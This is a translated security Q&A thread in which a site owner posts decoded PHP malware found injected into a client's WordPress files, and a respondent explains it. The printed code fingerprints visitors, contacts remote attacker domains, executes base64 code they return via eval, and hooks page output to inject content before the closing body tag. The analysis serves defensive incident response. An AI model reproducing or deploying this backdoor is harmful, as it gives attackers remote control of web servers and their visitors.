Ayuda para entender un código de explotación de PHP encontrado en una aplicación de wordpress

2

Encontré este código en la base 64 en todos los archivos php de uno de los sitios de mis clientes (wordpress) y estoy tratando de entender lo que hace.

También estoy tratando de averiguar si fue una vulnerabilidad de la aplicación o un acceso directo a FTP que supera este código.

Todo comienza con setup_globals_777() y ob_start('mrobh') configurando la devolución de llamada a la función mrobh($content) .

Luego hay una llamada a gzdecodeit ($decode) donde comienza la molestia.

Parece que obtiene el contenido de la página y lo cambia. Ahora estoy tratando de detectar los cambios específicos y entender todas las funciones, incluida la segunda gzdecodeit() .

¿Puede alguien arrojar algo de luz sobre esto?

Las llamadas

setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out

La devolución de llamada:

function mrobh ($content)
{
    @Header('Content-Encoding: none');
    $decoded_content = gzdecodeit($content);
    if (preg_match('/\<\/body/si', $decoded_content)) {
        return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
                            $decoded_content);
    } else {
        return $decoded_content . gml_777();
    }
}

La función de configuración (comprensible)

function setup_globals_777 ()
{
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
    $mz = "/tmp/";
    if (! is_dir($rz)) {
        @mkdir($rz);
        if (is_dir($rz)) {
            $mz = $rz;
        } else {
            $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                }
            } else {
                $mz = $rz;
            }
        }
    } else {
        $mz = $rz;
    }
    $bot = 0;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
        $bot = 1;
    if (stristr($ua, "bingbot") || stristr($ua, "google"))
        $bot = 1;
    $msie = 0;
    if (is_msie_777($ua))
        $msie = 1;
    $mac = 0;
    if (is_mac_777($ua))
        $mac = 1;
    if (($msie == 0) && ($mac == 0))
        $bot = 1;
    global $_SERVER;
    $_SERVER['s_p1'] = $mz;
    $_SERVER['s_b1'] = $bot;
    $_SERVER['s_t1'] = 1200;
    $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
    $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
     urlencode($_SERVER["PHP_SELF"]) . "&a=" .
     urlencode($_SERVER["HTTP_USER_AGENT"]);
    $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
    $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
    $_SERVER['s_script'] = "mm.php?d=1";
}

La primera función llamada después de la ejecución de devolución de llamada:

  

Aquí es donde ocurre la magia. No puedo ver las llamadas del otro.   funciones disponibles y entender lo que esta función es en realidad   decodificación, ya que $decode var es el resultado de la aplicación capturado por   el ob_start()

function gzdecodeit ($decode)
{
    $t = @ord(@substr($decode, 3, 1));
    $start = 10;
    $v = 0;
    if ($t & 4) {
        $str = @unpack('v', substr($decode, 10, 2));
        $str = $str[1];
        $start += 2 + $str;
    }
    if ($t & 8) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 16) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 2) {
        $start += 2;
    }
    $ret = @gzinflate(@substr($decode, $start));
    if ($ret === FALSE) {
        $ret = $decode;
    }
    return $ret;
}

Todas las funciones disponibles (después de base64_decode() ):

<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (! function_exists('mrobh')) {
        function get_tds_777 ($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }
        function trycurl_777 ($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777 ($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777 ($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f = @fopen($url, 'r');
            if ($f) {
                while (! feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777 ($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $f = @fsockopen($host, 80, $errno, $errstr, 30);
            if (! $f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (! feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function trysocket_777 ($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $ip1 = @gethostbyname($host);
            $ip2 = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (! @socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function update_tds_file_777 ($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list ($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777 ()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir = $_SERVER['s_p1'];
            $tdsfile = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777 ($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777 ($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
             stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777 ()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (! is_dir($rz)) {
                        @mkdir($rz);
                        if (is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1'] = $mz;
            $_SERVER['s_b1'] = $bot;
            $_SERVER['s_t1'] = 1200;
            $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
            $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
             urlencode($_SERVER["PHP_SELF"]) . "&a=" .
             urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
            $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
            $_SERVER['s_script'] = "mm.php?d=1";
        }


        if (! function_exists('gml_777')) {
            function gml_777 ()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '';
                return $r_string_777;
            }
        }
        if (! function_exists('gzdecodeit')) {
            function gzdecodeit ($decode)
            {
                $t = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh ($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', 
                gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }

    }
}
    
pregunta 23.02.2012 - 19:54
fuente

1 respuesta

1

Esto es claro y obviamente explota el código; He visto código como este muchas veces en servidores pirateados. Sin embargo, faltan bits, así que no puedo decir exactamente lo que hace. Muchas de estas funciones están definidas pero nunca se llaman.

La carne de lo que está después, sin embargo, está en la función mrobh() . Esto inserta la cadena devuelta por la función gml_777() justo antes de la etiqueta de cierre body .

La función gml_777 es un poco inusual. Puede ver que está configurado para devolver dos resultados posibles, uno si el User-Agent corresponde a un rastreador del motor de búsqueda y otro para todos los demás hosts. Pero por extraño que parezca, devuelve una cadena vacía en ambos casos, lo que dejaría la salida HTML intacta. Sin embargo, esta función también podría definirse en otro lugar, lo que podría anular este comportamiento.

Parece que el script está diseñado para recuperar instrucciones o contenido adicionales de un servidor remoto, pero en este código falta exactamente lo que está tratando de captar y de dónde lo está obteniendo. Hay algunos bits, pero no lo suficiente como para seguir la ruta de ejecución.

No te cuelgues en la función gzdecode . Creo que solo está ahí para descomprimir la salida de wordpress si estaba comprimida (lo cual a veces es el caso dependiendo de tus complementos y configuraciones).

Consejos no solicitados : pulse y recupere desde la copia de seguridad.

    
respondido por el tylerl 24.02.2012 - 08:27
fuente

Lea otras preguntas en las etiquetas